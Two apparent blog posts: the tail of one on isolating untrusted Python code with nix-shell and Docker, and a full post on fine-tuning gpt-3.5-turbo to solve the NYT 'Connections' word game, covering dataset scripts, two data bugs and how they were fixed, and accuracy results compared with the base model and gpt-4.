Nix also has the ability to run a pure shell, which per the docs, will clear most of the environment variables. I tried this out but it quickly became apparent it was too stripped down for what I was looking for. It also still had host file system access.

❯ nix-shell --pure
Welcome to your Python development environment.

[nix-shell:~/dev/try/try_wrapper]$ which python
bash: which: command not found

Using Docker

Given the two main constraints

host environment variable protection
host file system protection

I moved on to try and find an approach using Docker, which I knew to provide better file system isolation and an independent set of environment variables. This approach has become the one I use when I want to try out a new library to get a sense of its capabilities while being mindful of my system’s privacy.

Here is how it works. First, I created a new project with the following files and contents

.
├── .env
├── Dockerfile
├── Makefile
├── requirements.txt
└── run.py

.env

OPENAI_API_KEY=<your key>
# any other variables

Dockerfile

FROM python:slim
WORKDIR /usr/src/app
COPY requirements.txt ./
RUN pip install --no-cache-dir -r requirements.txt
COPY *.py /usr/src/app
CMD ["python", "./run.py"]

run.py

import os
from openai import OpenAI
from dotenv import load_dotenv

load_dotenv()

OPENAI_API_KEY = os.environ.get("OPENAI_API_KEY")

client = OpenAI(api_key=OPENAI_API_KEY)

stream = client.chat.completions.create(...)
# the rest of the code

requirements.txt

openai
python-dotenv
# any other libraries you want to install

Makefile

.PHONY: run
run:
  docker build -t run_script . && docker run -it --env-file .env run_script

With this setup, I added my environment variables to .env, my dependencies to requirements.txt, my code to run.py and to run it all, make run, which builds and runs the container defined in Dockerfile.

It’s not the easiest or the cleanest approach for ongoing development of a project, but it provides a reasonable way to sandbox and isolate new code you want to try out that your don’t necessarily trust. I did several hours of research to find an approach I was satisfied with but I suspect there are other good options out there. I would love to hear from you if you have an approach you like.

You can find the code from this post here.

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Fine-tuning gpt-3.5-turbo to learn to play "Connections"

Sat, 13 Jan 2024 02:58:01 GMT

I started playing the NYTimes word game “Connections” recently, by the recommendation of a few friends. It has the type of freshness that Wordle lost for me a long time ago. After playing Connections for a few days, I wondered if an OpenAI language model could solve the game (the objective is to group the 16 words into 4 categories of 4 words). I tried with gpt-4-32k and gpt-4-1106-preview, tweaking prompts for a few hours and wasn’t able to make much progress. It’s certainly possible prompt engineering alone could solve this problem, but it wasn’t easy for me for find a path forward. I imagine it will involve a bit of creativity. I decided this was as good a time as any to try and fine tune a model to do a thing I couldn’t easily get it to do with prompts.

Getting the dataset

I remembered seeing at some point that Wordle had an API to return the day’s word and it does at https://www.nytimes.com/svc/wordle/v2/yyyy-mm-dd.json. I figured Connections might have a similar JSON API and it does. I wrote a script to get all the solutions to past game and put the in the connections_data folder with the naming convention yyyy-mm-dd.json.

import json
import httpx
from datetime import timedelta, datetime


url = "https://www.nytimes.com/svc/connections/v1/{date}.json"
start_date = datetime.strptime("2023-06-12", "%Y-%m-%d")

def main():
    end_date = datetime.now()
    dates_generated = [
        start_date + timedelta(days=x)
        for x in range((end_date - start_date).days + 1)
    ]
    for date in dates_generated:
        formatted_date = date.strftime("%Y-%m-%d")
        response = httpx.get(url.format(date=formatted_date))
        response_object = response.json()
        with open(f"connections_data/{formatted_date}.json" , "w") as f:
            f.write(json.dumps(response_object, indent=2))


if __name__ == "__main__":
    main()

It turns out the first game was published on 2023-06-12. Next, I wrote some not pretty code to create a jsonl file to upload to OpenAI. They describe the structure of the file to fine-tune the gpt-3.5-turbo model here.

import os
import json

SYSTEM_PROMPT = """The game "Connections" is a word game where you start with 16 words and need to group them into 4 groups of 4. Each grouping has a category that unambiguously groups the four words together. Each puzzle has exactly one solution. Watch out for words that seem to belong to multiple categories. You will be given 16 words. Output 4 groupings of 4 words and the categories to which they belong."""

OUT_FILE = "connections_prompts.jsonl"

def main():
    with open(OUT_FILE, "w") as writef:
        for file in os.listdir("connections_data"):
            if file.endswith(".json"):
                print(file)
                with open(f"connections_data/{file}", "r") as f:
                    data = json.load(f)
                categories = [c for c in data["groups"].keys()]
                categories_and_members = {c: data["groups"][c] for c in categories}
                assistant_str = ""
                for c, words in categories_and_members.items():
                    assistant_str += f"category: {c.lower()}\nwords: {' '.join(words)}\n\n"
                all_words = [word.lower() for group in categories_and_members.values() for word in group["members"]]
                all_words_str =  ', '.join(all_words)
                out_obj = {
                    "messages": [
                        {
                            "role": "system",
                            "content": SYSTEM_PROMPT,
                        },
                        {
                            "role": "user",
                            "content": f"Here are the 16 words: {all_words_str}",
                        },
                        {
                            "role": "assistant",
                            "content": assistant_str.strip(),
                        },
                    ]
                }
                writef.write(f"{json.dumps(out_obj)}\n")


if __name__ == "__main__":
    main()

Estimating Price

I estimated the price of the job by counting the number of tokens in my fine-tune file. The OpenAI pricing page lists the price of the fine-tune at $0.0080 / 1K tokens. Additionally, the fine-tuning guide notes

To estimate the costs for a specific fine-tuning job, use the following formula:
base cost per 1k tokens * number of tokens in the input file * number of epochs trained
For a training file with 100,000 tokens trained over 3 epochs, the expected cost would be ~$2.40 USD.

Using tiktoken to count tokens

import tiktoken

# gpt-3.5-turbo  $0.0080 / 1K tokens

with open("connections_prompts.jsonl", "r") as file:
    data = file.read()

encoding = tiktoken.encoding_for_model("gpt-3.5-turbo")
tokens = len(encoding.encode(data))
price = (tokens / 1000) * 0.0080
print(f"Number of tokens: {tokens}.\nPrice: {price:.2f}")

which output

Number of tokens: 46814.
Price: 0.37

Running the fine-tune job

I took 15 of the rows (number chosen pretty randomly) from the result and separated them out into a training file, so that OpenAI can used it to calculate loss for the fine-tuning (I think). I called these files connections_prompts_train.jsonl and connections_prompts_test.jsonl. I went to OpenAI and created a new fine-tuning job. I selected the gpt-3.5-turbo-1106 model then uploaded my training and test data, and clicked “create” and off it went. As the job ran, I could see this dashboard. Here’s what it looked like when it finished.

And it cost \$0.90. According to the fine-tune metrics, 3 epochs (given my estimated cost of \$0.37) as mentioned fine-tune training guide though I don’t recall setting that or seeing it anywhere else.

Testing the fine-tune

With the fine-tuning done, I went to the playground to try it out. I fetched the words for the next day’s puzzle, which was mercifully already available. I forgot to make a validation set. Shame on me. It would have take a bit longer to fine-tune again, and I had a lot of anticipation to see the results, it being my first fine-tune and not really understanding the loss graph or knowing if it worked.

I copied the same system prompt from the training

The game "Connections" is a word game where you start with 16 words and need to group them into 4 groups of 4. Each grouping has a category that unambiguously groups the four words together. Each puzzle has exactly one solution. Watch out for words that seem to belong to multiple categories. You will be given 16 words. Output 4 groupings of 4 words and the categories to which they belong.

then added the user message with the words

Here are the 16 words: punt, badge, tackle, run, direct, pass, end, table, ticket, stall, chair, center, lead, safety, invite, hold

and clicked submit. The model outputted

category: american football terms
words: level members

category: football actions
words: level members

category: things that might be numbered
words: level members

category: field positions
words: level members

A definite bummer. I did a quick search in my project directory for “words: level members”, and found it everywhere. Oops! I built the dataset improperly.

Fixing a dataset bug

After a bit of a reset, I found some issues in the prompt generation python script and fixed them here

import os
import json

SYSTEM_PROMPT = """The game "Connections" is a word game where you start with 16 words and need to group them into 4 groups of 4. Each grouping has a category that unambiguously groups the four words together. Each puzzle has exactly one solution. Watch out for words that seem to belong to multiple categories. You will be given 16 words. Output 4 groupings of 4 words and the categories to which they belong."""

OUT_FILE = "connections_prompts.jsonl"

def main():
    with open(OUT_FILE, "w") as writef:
        for file in os.listdir("connections_data"):
            if file.endswith(".json"):
                print(file)
                with open(f"connections_data/{file}", "r") as f:
                    data = json.load(f)
                categories = [c for c in data["groups"].keys()]
                categories_and_members = {c: data["groups"][c]["members"] for c in categories}
                assistant_str = ""
                for c, words in categories_and_members.items():
                    lower_words = [w.lower() for w in words]
                    assistant_str += f"category: {c.lower()}\nwords: {', '.join(lower_words)}\n\n"
                all_words = [word.lower() for group in categories_and_members.values() for word in group]
                all_words_str =  ', '.join(all_words)
                out_obj = {
                    "messages": [
                        {
                            "role": "system",
                            "content": SYSTEM_PROMPT,
                        },
                        {
                            "role": "user",
                            "content": f"Here are the 16 words: {all_words_str}",
                        },
                        {
                            "role": "assistant",
                            "content": assistant_str.strip(),
                        },
                    ]
                }
                writef.write(f"{json.dumps(out_obj)}\n")


if __name__ == "__main__":
    main()

I checked my data and validated the correct words for each category were in the output jsonl file. This time around, I remembered to create an external validation set so I had a few cases to run once the fine-tune was ready. I split the data up 60% to train, 20% to validate for the fine-tune and 20% to use myself to validate after the fine-tune.

I put up my feet and waited for the fine-tune to run.

The first run of the fine-tune.

I’m very glad I had more validation data because I couldn’t believe it when I saw it work. I ran several more and each time, it got the word groups correct. Though occasionally it seemed to struggle to get the category right with x ___ or ___ x categories. But honestly, I was a little stunned. Before this fine-tuning, the model could not come all that close to solving Connections puzzles and now it could generally get the 4 word groups right every time and the categories right most of the time. It seemed to good to be true. It was! Can you spot the problem? The input words

Here are the 16 words: fido, lucky, rover, spot, catch, notice, observe, see, bait, chum, fly, sinker, bone, rex, shirt, storm

and the output categories

category: common dog names
words: fido, lucky, rover, spot

category: perceive
words: catch, notice, observe, see

category: fishing gear
words: bait, chum, fly, sinker

category: ___ in a teacup
words: bone, rex, shirt, storm

are in the same order.

When I change the input order of the words for this fine-tune

Here are the 16 words: lucky, chum, shirt, storm, spot, catch, rex, fly, observe, rover, see, bait, fido, notice, sinker, bone

it all falls apart.

category: pal
words: lucky, chum, shirt, storm

category: find
words: spot, catch, rex

category: ways to call
words: fly, observe, rover, see

category: dog, e.g.
words: bait, fido, notice, sinker

The categories stop making sense. The model hallucinates words. Some categories don’t even have 4 words in them. This fine-tune is toast.

Fixing another dataset bug

Back to the code. I modified my data set generation code, then split my data into three sets again. I used a stable random seed, so that the generation would be the same each time.

import os
import json
import random

random.seed(42)

SYSTEM_PROMPT = """The game "Connections" is a word game where you start with 16 words and need to group them into 4 groups of 4. Each grouping has a category that unambiguously groups the four words together. Each puzzle has exactly one solution. Watch out for words that seem to belong to multiple categories. You will be given 16 words. Output 4 groupings of 4 words and the categories to which they belong."""

OUT_FILE = "connections_prompts.jsonl"

def main():
    with open(OUT_FILE, "w") as writef:
        for file in os.listdir("connections_data"):
            if file.endswith(".json"):
                with open(f"connections_data/{file}", "r") as f:
                    data = json.load(f)
                categories = [c for c in data["groups"].keys()]
                categories_and_members = {c: data["groups"][c]["members"] for c in categories}
                assistant_str = ""
                for c, words in categories_and_members.items():
                    lower_words = [w.lower() for w in words]
                    assistant_str += f"category: {c.lower()}\nwords: {', '.join(lower_words)}\n\n"
                all_words = [word.lower() for group in categories_and_members.values() for word in group]
                random.shuffle(all_words)
                all_words_str =  ', '.join(all_words)
                out_obj = {
                    "messages": [
                        {
                            "role": "system",
                            "content": SYSTEM_PROMPT,
                        },
                        {
                            "role": "user",
                            "content": f"Here are the 16 words: {all_words_str}",
                        },
                        {
                            "role": "assistant",
                            "content": assistant_str.strip(),
                        },
                    ]
                }
                writef.write(f"{json.dumps(out_obj)}\n")


if __name__ == "__main__":
    main()

I ran a few tests

Here are the 16 words: adult, height, kiss, top, pair, tease, times, josh, peak, ten, score, gross, kid, dozen, max, rib

category: nudge, as for information
words: hint, josh, rib, tease

category: mountain ___
words: adult, gross, height, peak

category: 12
words: dozen, max, score, times

category: ___ number
words: kid, kiss, pair, top

and

Here are the 16 words: get, presto, secure, tada, fire, voila, carpenter, adam, win, behold, surprise, anger, land, fear, happiness, red

category: eureka!
words: behold, presto, tada, voila

category: “inside out” emotions
words: anger, fear, happiness, sadness

category: ___ and peace
words: land, order, red, secure

category: ___’s rib
words: adam, carpenter, get, surprise

The results are ok, but not incredible. It does get some groupings correct. There are hallucinations, adding words that don’t exist. Also, most categories and grouping are not correct.

Evaluating the results

To figure out if this fine-tune was worthwhile, I needed benchmark against the performance of gpt-3.5-turbo-1106.

I wrote some quick and dirty code to read the validation.jsonl, make an OpenAI call, parse the response and compare it to the known, correct answer. I decided to measure percentage of puzzles correct (all four categories) and percentage of categories correct (4 words correctly grouped). I also augmented the user prompt a bit to get the un-fine-tuned model to output its response the same way the fine-tuned model would for consistent parsing.

import json
from openai import OpenAI


client = OpenAI()

data = []
puzzles_correct = 0
puzzles_incorrect = 0
with open("validation.jsonl", "r") as file:
    for row in file:
        data.append(json.loads(row))

total_puzzles = len(data)
categories_correct = 0
total_categories = total_puzzles * 4

for da in data:
    system_prompt = da["messages"][0]["content"]
    user_prompt = da["messages"][1]["content"] + """\nOutput your response in exact adherence to the following form

category: <category>
words: <word1>, <word2>, <word3>, <word4>

for example:

category: height
words: height, top, peak, max
"""

    expected_result = da["messages"][2]

    completion = client.chat.completions.create(
        model="gpt-3.5-turbo-1106"
        # for the fine-tune:
        # model="ft:gpt-3.5-turbo-1106:personal::<my_id>",
        messages=[
            {"role": "system", "content": system_prompt},
            {"role": "user", "content": user_prompt},
        ]
    )
    # parse response
    result = completion.choices[0].message.content
    categories_with_words = {}
    for line in result.strip().split("\n\n"):
        category, words_str = line.lower().split("\nwords: ")
        category_name = category.split(": ")[1].strip()
        words = [word.strip() for word in words_str.split(", ")]
        categories_with_words[category_name] = tuple(sorted(words))

    # compare to correct answer
    correct_categories_with_words = {}
    correct_str =  da["messages"][2]["content"]
    for line in correct_str.strip().split("\n\n"):
        category, words_str = line.split("\nwords: ")
        category_name = category.split(": ")[1].strip()
        words = [word.strip() for word in words_str.split(", ")]
        correct_categories_with_words[category_name] = tuple(sorted(words))

    num_correct = 0
    for word_list in categories_with_words.values():
        if (word_list in list(correct_categories_with_words.values())):
            print(word_list)
            num_correct += 1
    categories_correct += num_correct
    if num_correct == 4:
        puzzles_correct += 1
    else:
        puzzles_incorrect += 1

    # Calculate and print the percentages
    percent_correct = (puzzles_correct / total_puzzles) * 100
    percent_incorrect = (puzzles_incorrect / total_puzzles) * 100
    print(f"Correct: {percent_correct:.2f}%")
    print(f"Incorrect: {percent_incorrect:.2f}%")

    percent_categories_correct = (categories_correct / total_categories) * 100
    print(f"Total Categories Correct: {percent_categories_correct:.2f}%")

I started by running the code against gpt-3.5-turbo-1106.

Correct: 0.00%
Incorrect: 100.00%
Total Categories Correct: 20.24%

Next, I ran it against my fine-tuned model.

Correct: 4.76%
Incorrect: 95.24%
Total Categories Correct: 23.81%

Not a huge difference. I did a few more runs and none of the results we’re too out of the ordinary. Other than consistent formatting, it’s not clear the model got all that much better at the game after fine-tuning.

Wrap up

This experience was an interesting introduction to model fine-tuning. The results weren’t that amazing, but I learned a lot about easy pitfalls and mistakes one can make and had some fun.

Future work

To see if there might be more to explore for this project, I ran the validation set through gpt-4 with the following results

Correct: 9.52%
Incorrect: 90.48%
Total Categories Correct: 39.29%

This improvement is notable over gpt-3.5’s ~20-25%. I requested access to fine-tune gpt-4, so we’ll see if that comes through and I can try it out.

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